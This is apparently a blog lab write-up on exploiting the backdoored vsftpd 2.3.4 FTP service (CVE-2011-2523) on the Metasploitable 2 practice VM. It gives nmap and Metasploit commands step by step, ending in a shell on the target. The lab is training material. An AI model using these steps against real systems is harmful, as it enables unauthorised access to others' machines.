Back to blog
Jan 19, 2026
3 min read

FTP Exploitation Report

FTP (File Transfer Protocol) is one of the basic protocols used to transfer files between systems over a network. It usually runs on **port 21** and a...

What is FTP?

FTP (File Transfer Protocol) is one of the basic protocols used to transfer files between systems over a network. It usually runs on port 21 and allows users to upload, download, and manage files on a remote server.

In many setups, FTP supports both:

  • Normal login (username & password)
  • Anonymous login (no credentials)

Because it’s old and not encrypted by default, it’s often a target in security testing.


How FTP Works

FTP follows a client-server model.

When a client connects to an FTP server:

  1. A connection is established on port 21
  2. The server asks for login credentials
  3. After authentication, the user can interact with files
  4. Commands like LIST, GET, PUT are used
  5. File data is transferred over a separate channel

So basically, one channel handles commands, and another handles actual file transfer.


Exploitation Methodology

Initial Recon ( Nmap Scan)

nmap -sV 192.168.6.129

Pasted image 20260404145929.png

While scanning the target (Metasploitable 2), the FTP service was found running:

  • Service: VSFTPD
  • Version: 2.3.4

VSFTPD v2.3.4 Backdoor (CVE-2011-2523) This is not just a misconfiguration — it’s an intentionally backdoored version of the FTP service. This version is known to contain a backdoor vulnerability.

Exploit using Metasploit

Step 1: Start Metasploit

msfconsole

Pasted image 20260404150540.png

Step 2: Search for the exploit

search vsftpd

Pasted image 20260404150704.png

Step 3: Load the exploit module

use exploit/unix/ftp/vsftpd_234_backdoor

or 

use id

Pasted image 20260404150746.png

Step 4: Set the target IP

set RHOSTS <target-ip>

Pasted image 20260404150838.png

Step 5: Run the exploit

run

or 

exploit

Pasted image 20260404150930.png


Result

After running the exploit, a shell session is opened. Now we can execute commands on the target machine.

Example:

help

Pasted image 20260404151038.png

To confirm the access, Let’s create a folder of any name

mkdir hack

Pasted image 20260404151335.png

This confirms that we successfully gained access.